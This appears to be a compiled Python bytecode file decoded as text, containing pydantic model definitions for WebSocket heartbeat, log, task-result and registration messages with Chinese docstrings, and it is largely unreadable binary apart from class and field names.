7      tV 3R ltRtV tR# )	WSMessagei  u   WebSocket消息.u   消息类型r   Nrs   u   消息数据u	   时间戳r^  c                   < V ^8  d   Qh/ S[ ;R&   S[S[ ,          ;R&   S[S[S[ S[3,          ,          ;R&   S[;R&   # )r   typer   data	timestamp)r6   r   r   r   r   )r:   r;   s   "r<   r=   WSMessage.__annotate__  sH     
6  #F  4S>
"L	 
 Y r?   r@   )rA   rB   rC   rD   rE   r   rq  r   rr  r   utcnowrs  rF   rG   rH   rI   s   @r<   ro  ro    sC     c~6D!&t!FK%*4^%LD[YI  r?   ro  c                   4   a  ] tR tRt o RtRtV 3R ltRtV tR# )WSHeartbeati  u   WebSocket心跳	heartbeatc                4   < V ^8  d   Qh/ S[ R,          ;R&   # )r   rx  rq  )Literal)r:   r;   s   "r<   r=   WSHeartbeat.__annotate__  s     
+
, r?   r@   N)	rA   rB   rC   rD   rE   rq  rF   rG   rH   rI   s   @r<   rw  rw    s     !,D  r?   rw  c                   p   a  ] tR tRt o RtRt]! RRR7      t]! RRR7      t]! RRR7      t	V 3R	 lt
R
tV tR# )WSLogi  u   WebSocket日志logNr   r   r   r   c                   < V ^8  d   Qh/ S[ R,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   # )r   r~  rq  r   rN   r   )rz  r   r6   )r:   r;   s   "r<   r=   WSLog.__annotate__  sG     
%.   C=<  SM=	 
 c]> r?   r@   )rA   rB   rC   rD   rE   rq  r   r   rN   r   rF   rG   rH   rI   s   @r<   r}  r}    s8      D 8<E!$H=F"4X>G  r?   r}  c                   p   a  ] tR tRt o RtRt]! RRR7      t]! RRR7      t]! RRR7      t	V 3R	 lt
R
tV tR# )WSTaskResulti  u   WebSocket任务结果task_resultNr   r   u   结果r   c                   < V ^8  d   Qh/ S[ R,          ;R&   S[S[,          ;R&   S[S[,          ;R&   S[S[,          ;R&   # )r   r  rq  r   r   rN   )rz  r   r8   r6   )r:   r;   s   "r<   r=   WSTaskResult.__annotate__  sH     
-
 0  c]@  SM=	 
 SM= r?   r@   )rA   rB   rC   rD   rE   rq  r   r   r   rN   rF   rG   rH   rI   s   @r<   r  r    s8     #0D"4Z@G!$H=F!$H=F  r?   r  c                   H   a  ] tR tRt o RtRt]! RRR7      tV 3R ltRt	V t
R	# )

WSRegisteri  u   WebSocket注册register.rs   r   c                @   < V ^8  d   Qh/ S[ R,          ;R&   S[;R&   # )r   r  rq  r   )rz  r6   )r:   r;   s   "r<   r=   WSRegister.__annotate__  s"     
*
*  ; r?   r@   N)rA   rB   rC   rD   rE   rq  r   r   rF   rG   rH   rI   s   @r<   r  r    s       *DSl;K  r?   r  N)+rE   r   typingr   r   r   r   pydanticr   r   r	   r   rK   rR   rV   rr   r   r   r   r   r   r   r   r   r   r   r   r   r   r  r  r  r+  r9  rG  rP  rX  r]  ro  rw  r}  r  r  r@   r?   r<   <module>r     s   $  , , 0 0
NY N:Ni NB9 B/	 /hT TTi TT Ti 0
G) 
Gy *?i ?9 $G) GAi AFy F
H9 
HS	 SFI F?i ?>) >Fy F
F 
FB	 B 	Ay 	A	N 	N5 5a a(Z	 Z-) -
?I ?>9 >< <r?   